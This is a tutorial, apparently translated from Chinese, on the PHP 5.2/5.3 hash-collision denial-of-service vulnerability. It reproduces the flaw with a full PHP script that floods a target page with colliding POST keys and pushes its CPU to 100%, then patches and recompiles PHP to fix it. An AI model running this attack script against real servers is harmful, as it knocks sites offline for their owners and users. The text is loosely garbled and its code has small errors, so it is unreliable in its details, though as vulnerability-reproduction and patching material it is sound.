PHP Hash conflict leads to 100% complete solution for CPU

Recently, I have been busy writing "2012 Self-study CCNP Routing and Exchange Course", and now I have written the fourth chapter, so I don't have time to deal with the work under the Linux platform. A recent BUG, ​​PHP 5.2/5.3 Hash vulnerability, caused a machine to DDOS attacks on the Internet PHP site. Let's take a look at the environment. This site is LAMP architecture, and the PHP version is 5.2.17.

Before the PHP patch, the server CPU situation is currently 2.1% usage.

we write a PHP program on this web server, the purpose is to test the machine to Hash it for failure to reproduce. The programming language is as follows: <?php echo $showtime=date("Y-m-d H:i:s"); ?> The effect after execution is to take the current server time.

Looking for a test machine with a PHP environment. I use a virtual machine for this machine, which has a LAMP environment. In the /usr/local/apache/htdocs directory, write a PHP web page with the following language: [root@blog htdocs]# Vi hash.php

<?php $size = pow(2, 16) $data = ''; for ($key = 0, $maxKey = ($size - 1) * $size; $key <= $maxKey; $key += $size) { $data .= $key. '=&'; }

$url = 'http://www.liuxxxxx.com/checktime.php'; $rs = array(); $ch = curl_init(); curl_setopt($ch , CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, $data); for ( $i=0; $i<100; ++$i) { curl_exec($ch); } curl_close($ch); ?>

url address, the target machine you want to test, i<100, indicating up to 100 concurrent. Manually execute hash.php for hash collisions. [root@blog htdocs]# /usr/local/php/bin/php hash.php

On the web server side, we go to see the resource utilization of the server, the CPU is 97.6%, it looks like a single virtual Machine, taking 100 concurrent to Hash, is enough to increase the CPU utilization of the web server to 100%.

Cpu is 100%, what is the website? We browsed the web server again, clicked the link on the website, and the response was normal. It is estimated that this web server itself has no pressure, so it can't be seen. Adjust the amount of concurrency to 10000, and then measure it, just 100 concurrent.

Refresh the checktime.php page, which can be displayed quickly and the website is normal. But at this time the web server cpu is already 100%

Conclusion, I use a personal blog as the target machine, because personal blogs, only a few people currently visit, no pressure, so even, through 10000 concurrent Hash, CPU up to 100%, personal blog open speed, still quite fast.

Put a patch and let's take another look. 1, first check the PHP compiler parameters in the build environment

2, go online to download a PHP patch, the download address is: https://github.com/laruence /laruence.github.com/tree/master/php-5.2-max-input-vars

3, according to the version number of the personal platform, click into it, pay attention, do not be on it Right click, save as, otherwise you are down an html file, the file name is php-5.2.17-max-input-vars.patch. In the new pop-up page point “raw”, the patch file will be opened.

Copy the contents inside, I only cut a small part of it. Then create a new file on the web server, php-5.2.17-max-input-vars.patch, which is just copied.

4, into the original installation directory of php, my environment here is /opt/soft/php-5.2.17. First clean up some of the original compiled ones.

5, patch and recompile php

config then make ZEND_EXTRA_LIBS='-liconv' //some platforms are make , each environment is different, then make install

6, restart apache, see the effect [root@lghblog php-5.2.17]# pkill httpd [root@lghblog php-5.2.17]#/usr/Local/apache/bin/apachectl start

Visit phpinfo.php on the web server to see if the PHP environment has changed. You can see at the top, the PHP version comes with a P1. This is not enough. Let's use Hash to collide and see if the cpu will be 100%.

On the test machine, take the concurrent 10000 and go to the Hash web server. The CPU of the web server was found to remain at 0.5%.

Problem solving!